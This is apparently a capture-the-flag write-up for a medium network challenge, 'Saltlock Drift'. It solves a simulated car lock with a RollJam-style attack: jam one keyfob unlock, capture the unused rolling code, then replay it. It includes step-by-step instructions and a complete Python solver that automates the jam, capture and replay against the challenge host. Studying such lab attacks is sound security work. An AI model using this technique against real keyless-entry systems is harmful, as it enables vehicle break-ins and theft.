Saltlock Drift
Saltlock Drift
Platform: CACTF2026 | Category: Network | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: rolljam_attack, rolling_code_desynchronization, frame_capture_and_replay
Summary
Task: A web-controlled vehicle lock and a raw RF-433 service expose rolling-code keyfob traffic and channel jamming. Solution: Jam one physical unlock, capture its unused frame, disable jamming, and replay it to the receiver.
Saltlock Drift — CACTF2026
Description
Stormbound outriders recovered a salt crusted gatecar outside the Sunken Causeway. Its remote lock still listens across a shared band that the wardens use during convoy checks. Reach the channel, study the signals, and reveal the token through a replay attack.
The challenge provided two TCP services on the same host. One exposed the car and physical keyfob through HTTP, while the other represented a shared 433.920 MHz OOK radio channel. The goal was to unlock the car by replaying a valid keyfob transmission.
Analysis
Port 30371 served an HTTP interface identified as SaltlockHTTP/1.0 Python/3.12.13. Its relevant endpoints were:
GET /api/state— return the lock, jammer, receiver counter, signal history, and recent events.POST /api/fobwith{"button":"lock"}or{"button":"unlock"}— press the physical keyfob.
Port 32131 exposed the raw RF service. Its banner listed HELP, STATUS, JAM ON, JAM OFF, TX <hex>, and QUIT. Physical keyfob transmissions appeared on this connection as RX ... raw=<hex> lines.
The key observation was that jamming affected the receiver but did not prevent the shared-channel service from showing the transmitted frame. A physical button press advanced the keyfob's rolling counter. With the jammer enabled, however, the car reported CAR MISS ... reason=channel_jammed, so its receiver counter did not advance. This created the required state divergence: the attacker possessed a valid next rolling code that the receiver had never consumed.
This is a RollJam-style state-desynchronization attack, not packet cryptanalysis. A frame that the receiver has already accepted becomes stale, so replaying an ordinary consumed frame does not work. No timestamp manipulation, nonce or salt recovery, decryption, or MAC forgery was necessary.
Solution
- Connect to the RF service and disable jamming.
- Press the physical
lockbutton through the HTTP API. This establishes a known locked baseline and synchronizes the receiver with a normally consumed keyfob frame. - Enable the channel jammer with
JAM ON. - Press the physical
unlockbutton. The RF service displays the raw frame, but the car misses it because the channel is jammed. - Capture the unused frame
AAAAAAAA2DD4534C5402111071DF8FD14579from theRXline. - Disable jamming with
JAM OFF. - Send
TX AAAAAAAA2DD4534C5402111071DF8FD14579on the RF service. - The receiver accepts counter
4368from the attacker and reportsresult=exploit_unlock. Querying/api/stateconfirmsunused rolling code replay acceptedand returns the challenge token.
The following solver automates the complete sequence. Its console output deliberately redacts the recovered token.
python read-only • copy allowed#!/usr/bin/env python3 import json import re import socket import time import urllib.request HOST = "154.57.164.83" RF_PORT = 32131 WEB = f"http://{HOST}:30371" def api(path, data=None): body = None if data is None else json.dumps(data).encode() request = urllib.request.Request( WEB + path, data=body, headers={"Content-Type": "application/json"} if body else {}, method="POST" if body else "GET", ) with urllib.request.urlopen(request, timeout=5) as response: return json.loads(response.read()) def drain(sock, duration=1.0): end = time.time() + duration output = b"" while time.time() < end: try: chunk = sock.recv(65535) if not chunk: break output += chunk except socket.timeout: pass text = output.decode(errors="replace") if text: print(text, end="" if text.endswith("\n") else "\n") return text def command(sock, value, wait=0.8): print(f"> {value}") sock.sendall(value.encode() + b"\n") return drain(sock, wait) with socket.create_connection((HOST, RF_PORT), timeout=5) as sock: sock.settimeout(0.15) drain(sock) command(sock, "JAM OFF") api("/api/fob", {"button": "lock"}) drain(sock) command(sock, "JAM ON") api("/api/fob", {"button": "unlock"}) capture = drain(sock, 1.5) frames = re.findall(r"\braw=([0-9A-Fa-f]+)", capture) if not frames: raise SystemExit("No RF frame captured") frame = frames[-1] command(sock, "JAM OFF") result = command(sock, f"TX {frame}", wait=1.5) state = api("/api/state") if "result=exploit_unlock" not in result: raise SystemExit("Replay was not accepted") serialized = json.dumps(state) if not re.search(r"[A-Za-z0-9_]+\{[^{}\r\n]+\}", serialized): raise SystemExit("Token was not disclosed") print("Exploit succeeded; token: HTB{REDACTED}")